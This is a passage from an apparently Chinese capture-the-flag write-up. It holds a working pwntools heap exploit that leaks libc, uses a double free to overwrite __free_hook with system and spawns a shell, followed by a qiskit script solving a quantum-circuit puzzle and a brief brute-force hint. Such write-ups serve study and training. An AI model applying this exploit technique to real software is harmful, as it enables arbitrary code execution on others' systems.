add(0,0x30)
show(0)

leak_addr = u64(p.recv(8))
libc_base = leak_addr - 0x1ecfd0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))
p.recv(8)
leak_addr = u64(p.recv(8))
heap_base = leak_addr - 0x122c0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
success("free_hook >> "+hex(free_hook))

for i in range(10):
add(i+2,0x60)
for i in range(7):
dele(i+2)

dele(10)
dele(11)
dele(10)

for i in range(7):
add(i+2,0x60)
add(10,0x60)
edit(10,0x60,p64(free_hook))

add(11,0x60)
add(12,0x60)
add(13,0x60)
edit(13,0x60,p64(system))
edit(12,0x60,"/bin/sh\x00")

dele(12)

#debug()

p.interactive()

output

1
2
3
4
5
6
7
8
9
10
Suppose the quantum circuit is named "qc", the quantum operations are as follows:

X: bit-flip gate e.g. "qc.x(1)" means flipping qubit 1;
H: Hadamard gate e.g. "qc.h(1)" means make the Hadamard transfomation on qubit 1;
I: Identity gate e.g. "qc.i(1)";
CNOT gate: e.g. "qc.cx(0,1)" means "q[1]=(q[1]+q[0]) mod 2";
Toffoli gate: e.g. "qc.ccx(0,1,2)" means "q[2]=(q[2]+q[1]*q[0]) mod 2".
Measure: e.g. "qc.measure(1,0)" means measure the qubit 1 and store the measured result into classical bit 0.

You can get more details in "demo".

附图:

这道题目的关键就是 matplotlib.pyplot 模块

有了该模块进行可视化,很快就可以求出答案,完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from qiskit import *
from qiskit.visualization import plot_histogram
import matplotlib.pyplot as plt

simulator = Aer.get_backend('qasm_simulator')
qc = QuantumCircuit(36,3)

qc.x(0)
qc.x(1)
qc.i(2)
qc.x(3)
qc.x(4)
qc.x(5)
qc.i(6)
qc.x(7)
qc.x(8)
qc.x(9)
qc.i(10)
qc.x(11)
qc.i(12)
qc.x(13)
qc.i(14)
qc.x(15)
qc.i(16)
qc.x(17)
qc.i(18)
qc.i(19)

qc.h(0)
qc.h(1)
qc.h(2)
qc.h(3)
qc.h(4)
qc.h(5)
qc.h(6)
qc.h(7)
qc.h(8)
qc.h(9)
qc.h(10)
qc.h(11)
qc.h(12)
qc.h(13)
qc.h(14)
qc.h(15)
qc.h(16)
qc.h(17)
qc.h(18)
qc.h(19)

qc.ccx(3,7,21)
qc.ccx(15,16,22)
qc.ccx(2,6,23)
qc.ccx(12,13,24)
qc.ccx(10,11,25)
qc.ccx(0,14,26)
qc.ccx(1,5,27)
qc.ccx(8,9,28)
qc.ccx(0,4,29)
qc.ccx(5,11,30)
qc.cx(21,24)
qc.x(27)
qc.ccx(4,30,31)
qc.cx(24,25)
qc.cx(27,30)
qc.ccx(4,11,31)
qc.ccx(23,24,26)
qc.ccx(27,28,29)
qc.ccx(30,32,34)
qc.cx(29,31)
qc.cx(17,34)
qc.cx(31,33)
qc.ccx(18,34,35)
qc.x(33)
qc.ccx(34,31,20)

qc.measure([35,33,34],[2,0,1])

job = execute(qc, simulator, shots=100000)
# Grab results from the job
result = job.result()
# Returns counts
counts = result.get_counts(qc)
print("\nTotal count for 00 and 11 are:",counts)
# Plot a histogram
plot_histogram(counts)
# Draw the circuit
qc.draw(output='mpl')
plt.show()

Glass

从32x32的像素点中选择10个,基数很小可以直接爆破